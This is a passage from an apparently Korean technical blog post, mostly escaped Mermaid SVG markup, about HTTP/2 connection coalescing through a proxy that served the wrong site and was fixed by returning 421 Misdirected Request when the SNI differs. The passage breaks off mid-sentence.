.loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg .noteText,#mermaid-svg .noteText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg .actorPopupMenu{position:absolute;}#mermaid-svg .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg .actor-man circle,#mermaid-svg line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg :root{--mermaid-font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;}&lt;/style&gt;&lt;g /&gt;&lt;defs&gt;&lt;symbol id=&quot;computer&quot; width=&quot;24&quot; height=&quot;24&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;symbol id=&quot;database&quot; fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;symbol id=&quot;clock&quot; width=&quot;24&quot; height=&quot;24&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead&quot; refX=&quot;7.9&quot; refY=&quot;5&quot; markerUnits=&quot;userSpaceOnUse&quot; markerWidth=&quot;12&quot; markerHeight=&quot;12&quot; orient=&quot;auto-start-reverse&quot;&gt;&lt;path d=&quot;M -1 0 L 10 5 L 0 10 z&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;crosshead&quot; markerWidth=&quot;15&quot; markerHeight=&quot;8&quot; orient=&quot;auto&quot; refX=&quot;4&quot; refY=&quot;4.5&quot;&gt;&lt;path fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1pt&quot; d=&quot;M 1,2 L 6,7 M 6,2 L 1,7&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;filled-head&quot; refX=&quot;15.5&quot; refY=&quot;7&quot; markerWidth=&quot;20&quot; markerHeight=&quot;28&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 18,7 L9,13 L14,7 L9,1 Z&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;sequencenumber&quot; refX=&quot;15&quot; refY=&quot;15&quot; markerWidth=&quot;60&quot; markerHeight=&quot;40&quot; orient=&quot;auto&quot;&gt;&lt;circle cx=&quot;15&quot; cy=&quot;15&quot; r=&quot;6&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;g&gt;&lt;rect x=&quot;287&quot; y=&quot;109&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;10&quot; height=&quot;460&quot; class=&quot;activation0&quot; /&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;50&quot; y=&quot;383&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;267&quot; height=&quot;54&quot; class=&quot;note&quot; /&gt;&lt;text x=&quot;184&quot; y=&quot;388&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;184&quot;&gt;tab1 Connection reuse&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;184&quot; y=&quot;405&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;184&quot;&gt;so, tab2(tab1) connect to serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;text x=&quot;180&quot; y=&quot;80&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab1 - serv1.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;109&quot; x2=&quot;284&quot; y2=&quot;109&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;182&quot; y=&quot;124&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab1 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;153&quot; x2=&quot;287&quot; y2=&quot;153&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;405&quot; y=&quot;168&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv1.iasdf.com&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;197&quot; x2=&quot;512&quot; y2=&quot;197&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;406&quot; y=&quot;212&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv1 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;241&quot; x2=&quot;515&quot; y2=&quot;241&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;408&quot; y=&quot;256&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;515&quot; y1=&quot;285&quot; x2=&quot;300&quot; y2=&quot;285&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;183&quot; y=&quot;300&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;287&quot; y1=&quot;329&quot; x2=&quot;79&quot; y2=&quot;329&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;180&quot; y=&quot;344&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;373&quot; x2=&quot;284&quot; y2=&quot;373&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;405&quot; y=&quot;452&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;481&quot; x2=&quot;512&quot; y2=&quot;481&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;408&quot; y=&quot;496&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;515&quot; y1=&quot;525&quot; x2=&quot;300&quot; y2=&quot;525&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;183&quot; y=&quot;540&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;287&quot; y1=&quot;569&quot; x2=&quot;79&quot; y2=&quot;569&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;/svg&gt; &lt;p&gt;크롬에서 탭을 2개 열어서 서로 다른 도메인에 접속했지만, &lt;br /&gt; serv2.iasdf.com 도메인 요청 시 &lt;a href=&quot;#serv2iasdfcom&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 스크린샷&lt;/a&gt; 과 달리 &lt;a href=&quot;#serv1iasdfcom&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt; 스크린샷&lt;/a&gt; 페이지가 응답된다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-13-40-16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;이러한 문제는 프록시가 중개하여 발생하는데, 프록시에서 호스트에 따라 커넥션을 분배하기 때문에 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 모두 목적지가 프록시 (10.0.1.49) 를 가리킨다.&lt;/p&gt; &lt;p&gt;즉 클라이언트(크롬)은 serv1, serv2 모두 목적지가 같다고 판단하고 커넥션을 재사용한다.&lt;/p&gt; &lt;details&gt; &lt;summary&gt;WireShark 패킷 분석 내용&lt;/summary&gt; &lt;div&gt; &lt;p&gt;serv1 - 연결, 클라이언트 TCP 포트 53554&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-13-41-21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;serv2 - 연결, 클라이언트 TCP 포트 53554 (serv1 커넥션 재사용)&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-13-43-09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;응답 데이터가 server 1 페이지임.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-13-43-45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;/div&gt; &lt;/details&gt; &lt;hr /&gt; &lt;h3 id=&quot;modify-action&quot;&gt;Modify Action&lt;/h3&gt; &lt;p&gt;sni를 비교하여 호스트가 다를 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/2 421 Misdirected Request&lt;/code&gt; 응답을 하도록 소스를 변경했다.&lt;/p&gt; &lt;p&gt;나와 같은 문제를 겪는 사람이 이미 있었는데, 링크를 첨부한다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/48701719/http2-different-domain-but-same-ip-multiple-connection-or-one-connection&quot;&gt;https://stackoverflow.com/questions/48701719/http2-different-domain-but-same-ip-multiple-connection-or-one-connection&lt;/a&gt;&lt;/li&gt; &lt;li&gt;421 Code : &lt;a href=&quot;https://httpwg.org/specs/rfc7540.html#MisdirectedRequest&quot;&gt;https://httpwg.org/specs/rfc7540.html#MisdirectedRequest&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;blockquote&gt; &lt;p&gt;In the rare case where a server gets a resource request for an authority (or scheme) it can’t serve, there’s a dedicated error code 421 in HTTP/2 that it can respond with and the browser can then go back and retry that request on another connection.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;reference: &lt;a href=&quot;https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/&quot;&gt;https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/blockquote&gt; &lt;p&gt;이 링크를 보면, 